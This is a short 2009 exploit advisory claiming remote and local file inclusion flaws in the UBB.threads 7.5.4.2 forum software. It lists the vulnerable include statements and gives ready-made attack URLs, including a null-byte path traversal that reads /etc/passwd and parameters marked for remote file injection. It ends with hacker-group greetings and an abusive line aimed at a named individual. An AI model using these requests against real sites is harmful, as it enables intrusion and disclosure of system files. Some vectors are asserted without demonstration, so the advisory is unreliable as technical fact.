ubbthreads-rfilfi.txt
Posted on 04 December 2009
======================================================================================================================== INTRO: RFI AND LFI VULNERALBILITY Powered by UBB.threads™ 7.5.4.2 ======================================================================================================================== Software : UBB.threads™ 7.5.4.2 Download : http://www.ubbcentral.com/forums/ubbthreads.php Author : R3VAN_BASTARD Email : r3van[at]sux0r[dot]net ======================================================================================================================== [X] File : - /ubb/libs/smarty/Smarty_Compiler.class.php on line 414 - /ubb/libs/html.inc.php on line 1645 - /ubb/ubbthreads.php on line 225 3====D require_once(SMARTY_CORE_DIR . 'core.load_plugins.php'); smarty_core_load_plugins($_plugins_params, $this); 3====D include("{$config['FULL_PATH']}/languages/{$user['USER_LANGUAGE']}/standard_text_editor.php"); 3====D include_once("languages/{$user['USER_LANGUAGE']}/{$file}.php"); [X] Assumption: http://localhost.com/path/ubb/libs/smarty/Smarty_Compiler.class.php?_plugins_params=[RFI] http://localhost.com/path//ubb/libs/html.inc.php?[USER_LANGUAGE]= [RFI] http://localhost.com/path//ubb/ubbthreads.php?file=../../../../../../../../etc/passwd%00 ======================================================================================================================== Love the madness : S3TAN,0x3a,JACK,0x3a,VAKSIN,0x3a,MADONK,0x3a,YOGA 0400,0x3a,KECEMPLUNG KALEN,0x3a,EMINEM,0x3a, DECLINED,0x3a,YUDIS,0x3a,JAROMIL ROJO,0x3a,JUPE NET "thanks buat net gratis tiap malem" ,0x3a,Wahyu@Cozzy Net "Thanks Buat Pinjeman Duitnya",0x3a,pizzyroot ======================================================================================================================== Special Thanks: VALENCIA. ======================================================================================================================== .::FUCK YOU DINDA NISTRIA::. ========================================================================================================================
